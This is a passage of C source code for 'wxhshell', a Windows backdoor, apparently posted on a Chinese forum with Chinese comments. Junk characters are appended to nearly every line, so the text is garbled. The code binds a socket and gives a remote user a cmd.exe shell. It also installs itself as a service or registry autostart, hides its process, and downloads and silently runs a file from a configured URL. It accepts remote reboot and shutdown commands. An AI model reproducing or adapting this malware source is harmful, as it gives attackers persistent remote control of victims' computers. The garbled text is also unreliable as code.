  else { Q4 :r$ &  
0a%ui2k  
    switch(cmd[0]) { 9S1V! Jp  
  64>[pZF8  
  // 帮助 w&cyGd D5  
  case '?': { knzED~ v@(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )-"L4TC)  
    break; *dTf(J  
  } lFV|GJ  
  // 安装 g uWqHVSs  
  case 'i': { 0_pwY=P  
    if(Install()) ZDmk<}A-U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DmPsltpzQ  
    else ~2}ICU5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^M+s\p  
    break; ^ED>{UiNI  
    } Df3v"iCq}  
  // 卸载 F X2`p_  
  case 'r': { ;l?(VqX_E  
    if(Uninstall()) NS;8&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I_*>EA  
    else {o<p{q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eSBf;lr=  
    break; s? #lhI  
    } X(z-?6N4  
  // 显示 wxhshell 所在路径 L/LN X{|  
  case 'p': { l>?vjy65  
    char svExeFile[MAX_PATH]; DkKD~  
    strcpy(svExeFile,"\n\r");  /?xn  
      strcat(svExeFile,ExeFile); =I}V PxhE7  
        send(wsh,svExeFile,strlen(svExeFile),0); h*Tiv^a  
    break; ]qHO{b4k  
    } deY<+!  
  // 重启 2A ,36,  
  case 'b': { BVp.A]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M=`Se&-M  
    if(Boot(REBOOT)) O;?~#E<6w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P`9A?aG.Z  
    else { I>Yp=R  
    closesocket(wsh); L1 VTq9[3  
    ExitThread(0); <!>}t a  
    } %~2m$#)  
    break; ^v|!(h\ZC  
    } Hv*O9!cC  
  // 关机 'Pu;]sC  
  case 'd': { C$gLi8|m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GTNTx5H  
    if(Boot(SHUTDOWN)) OR8o%AxL7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M?u)H&kEl  
    else { bM3e7olWS  
    closesocket(wsh); AR3=G>hO,  
    ExitThread(0); L"/ato  
    } D9C; JD  
    break; CnYX\^Ow  
    } rWqA)j*!  
  // 获取shell k8V0-.UL}  
  case 's': { Wh_c<E}&  
    CmdShell(wsh); I GtH<0Du  
    closesocket(wsh); n_meJm.  
    ExitThread(0); BZshTP[`  
    break; "iGc'?/+  
  } `VN<6o(  
  // 退出 b;l%1x9r  
  case 'x': { 1*jm9])#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iL1so+di  
    CloseIt(wsh); ,[#f}|s_  
    break; s%|J(0  
    } `BD`pa7.%  
  // 离开 7S Zs/wWh%  
  case 'q': { z\ pT+9&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y%@'a~  
    closesocket(wsh); \YS\* 'F  
    WSACleanup(); @CDRbXoFk  
    exit(1); #JucOWxjY  
    break; '~J6 mojE  
        } 3)\qt s5  
  } _4Pi>  
  } 'WCTjTob/  
GXVGU-br  
  // 提示信息 >.4Sx~VH2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kzXW<V9  
} R FiR)G ,  
  } |-D.  
N2J!7uoQ  
  return; =x>k:l~s  
} a@J :*W  
B.#0kjA}  
// shell模块句柄 Z5A<TC/:  
int CmdShell(SOCKET sock) w2[R&hJ  
{ 7Y:s6R|  
STARTUPINFO si; N>Y3[G+  
ZeroMemory(&si,sizeof(si)); iwJgU b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^)~M,rW8c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %C<eR_  
PROCESS_INFORMATION ProcessInfo; @oNrR$7  
char cmdline[]="cmd"; ERjf.7)d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;7>--_?=  
  return 0; S(l^TF  
} WcFZRy-erc  
! +7ve[z  
// 自身启动模式 HfPeR8I%i  
int StartFromService(void) "RA$Twhj  
{ OQvJdjST  
typedef struct n0q(EQy1U  
{  P_g  
  DWORD ExitStatus; |0-L08DW  
  DWORD PebBaseAddress; $49tV?q5  
  DWORD AffinityMask; } _z~:{Y  
  DWORD BasePriority; 6:pN?|=6X  
  ULONG UniqueProcessId; Y~!@  
  ULONG InheritedFromUniqueProcessId; v%^H9aK_  
}   PROCESS_BASIC_INFORMATION; `( Gk_VAa  
yK^k*)2N  
PROCNTQSIP NtQueryInformationProcess; z16++LKmM  
[f}1wZ*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 04t_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [&:oS35O  
n>UvRn.7kz  
  HANDLE             hProcess; l ,.;dw  
  PROCESS_BASIC_INFORMATION pbi; XjbK!.  
6"(&lK\^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~@;7}Aag  
  if(NULL == hInst ) return 0; +6*I9R  
t {}1 f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N}= - +E|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); { L5m`-x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~-/AKaK}  
m/AN*` V  
  if (!NtQueryInformationProcess) return 0; O{V"'o  
qDW/8b\^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I j /J  
  if(!hProcess) return 0; =g:\R$lQ  
jg(A_V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ->(B: Cz  
_G|6xlO  
  CloseHandle(hProcess); XQA2uR4h  
SEmD's  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ; o\wSHc  
if(hProcess==NULL) return 0; -E1}mL}I`  
\q>,c49a{  
HMODULE hMod; `U R.Rn/x  
char procName[255]; cg5DyQ(  
unsigned long cbNeeded; ` g~-5Z~J  
AXCJFqk;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J,7\/O(`A  
vY6|V$  
  CloseHandle(hProcess); xjpW<-)MLf  
53QP~[F8R]  
if(strstr(procName,"services")) return 1; // 以服务启动 :`K;0`C +  
,J~dER\%  
  return 0; // 注册表启动 iu'yB  
} JY,+eD  
YAo g;QL  
// 主模块 6FE[snw  
int StartWxhshell(LPSTR lpCmdLine) tdm /U  
{ VbjFQ@[l!  
  SOCKET wsl; 1tDN$rM5  
BOOL val=TRUE; Z6p>R;9n  
  int port=0; I(.XK ucU  
  struct sockaddr_in door; sAb|]Q((  
H;6V  
  if(wscfg.ws_autoins) Install(); o>YR Kb  
2-4%h!  
port=atoi(lpCmdLine); oaHBz_pg  
~EBZlTN  
if(port<=0) port=wscfg.ws_port; kL-+V)Kl  
-Da_#_F  
  WSADATA data; Sv ,_G'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *sTQ9 Kr  
]:;gk&P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ":Q^/;D}U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <bH>\@p7}  
  door.sin_family = AF_INET; e/6oC~#]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3-05y!vbcE  
  door.sin_port = htons(port); +vP1DXtj(  
w%ForDB>P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D+V^nCcx%  
closesocket(wsl); 8Y9mB #X  
return 1; 7"NUof?i  
} 7j Q`i;L}Y  
e|I5Nx2)  
  if(listen(wsl,2) == INVALID_SOCKET) { ,RZktWW_  
closesocket(wsl); R?W8l5CIk  
return 1; j{vzCRa>8  
} sYz:(hZS  
  Wxhshell(wsl); xASj w?  
  WSACleanup(); xiI!_0'  
(.c?)_G,  
return 0; yVL~SH|  
[;(| ^0  
} `{ /tx!  
y& )z\8  
// 以NT服务方式启动 >g?,BK@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u1uY*p  
{ K"pfp !Y  
DWORD   status = 0; 1#'wR3[+  
  DWORD   specificError = 0xfffffff; Xf0pQ]8\  
4&\m!s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G~JQcJFj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; loZfzN&6A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ((y+FJH  
  serviceStatus.dwWin32ExitCode     = 0; qRUz;M4  
  serviceStatus.dwServiceSpecificExitCode = 0; %63<Iz"  
  serviceStatus.dwCheckPoint       = 0; 43eGfp'  
  serviceStatus.dwWaitHint       = 0; gnv4.f:  
[L8gG.wy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3laSPih[.  
  if (hServiceStatusHandle==0) return; PtHT>  
7(jt:V6V  
status = GetLastError(); a}wB7B;,g  
  if (status!=NO_ERROR) 6ugBbP +^  
{ 'j.{o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rk'Dd4"m ,  
    serviceStatus.dwCheckPoint       = 0; qRU8uu   
    serviceStatus.dwWaitHint       = 0; {M=tw  
    serviceStatus.dwWin32ExitCode     = status; {f!mm3'2v  
    serviceStatus.dwServiceSpecificExitCode = specificError; mBNa;6w?{*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3y@'p(}Az  
    return; y]Y)?])  
  } 8Vq,J:+  
y]/{W}D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]`MRH[{  
  serviceStatus.dwCheckPoint       = 0; x*YJ :t  
  serviceStatus.dwWaitHint       = 0; =$HzEzrw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W4N$]D=  
} 8]0^OSS  
rO-Tr  
// 处理NT服务事件,比如:启动、停止 }p#S;JZRu+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (\Dd9a8V-  
{ .G^ .kg ,  
switch(fdwControl) Cc=`:ED+  
{ 9 Hm!B )Y  
case SERVICE_CONTROL_STOP: bC&_OU:  
  serviceStatus.dwWin32ExitCode = 0; _+UD>u{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ~d }-  
  serviceStatus.dwCheckPoint   = 0; L<E`~\C'  
  serviceStatus.dwWaitHint     = 0; bNqjjg  
  { Abj`0\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 0Du*5M  
  } 6Up,B=sX0  
  return; w_9:gprf  
case SERVICE_CONTROL_PAUSE: 5SDHZ?h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j"c"sF\q  
  break; r`" ?K]rI  
case SERVICE_CONTROL_CONTINUE: b2Ct^`|M5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kcQ |Zg  
  break; r:u5+A  
case SERVICE_CONTROL_INTERROGATE: JK_sl>v.7  
  break; nOOA5Gz   
}; -8-Aqh8|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7(zoUn:  
} aeSXHd?+(  
4Jw0m#UN1  
// 标准应用程序主函数 t.]oLG22r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I@[.W!w  
{ -0>@jfP^D  
hG3b7!^#g  
// 获取操作系统版本 *iYs,4  
OsIsNt=GetOsVer(); &359tG0@P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nkv zv  
byd[pnI$H  
  // 从命令行安装 GXsHc,  
  if(strpbrk(lpCmdLine,"iI")) Install(); x5{ zGv.j  
Yh4e\]ql~N  
  // 下载执行文件 YncY_Hu  
if(wscfg.ws_downexe) { bj7v<G|Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L8!xn&uyP=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wvcj\2'yd  
} y*P[* /g  
c/pT2/y  
if(!OsIsNt) { lqu1H&  
// 如果时win9x,隐藏进程并且设置为注册表启动 &C?]n.A  
HideProc(); 5?QR  
StartWxhshell(lpCmdLine); ]` 3;8,  
} 0E bs-kP  
else VN*^pAzlF  
  if(StartFromService()) #S QFI;zj  
  // 以服务方式启动 T#T!a0  
  StartServiceCtrlDispatcher(DispatchTable); TC ^EyjD  
else qdOaibH_  
  // 普通方式启动 P E.^!j  
  StartWxhshell(lpCmdLine); 1C:lXx$|  
#Jg )HU9  
return 0; A`IE8@&Z'  
}
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只看该作者 1 发表于: 2006-10-10
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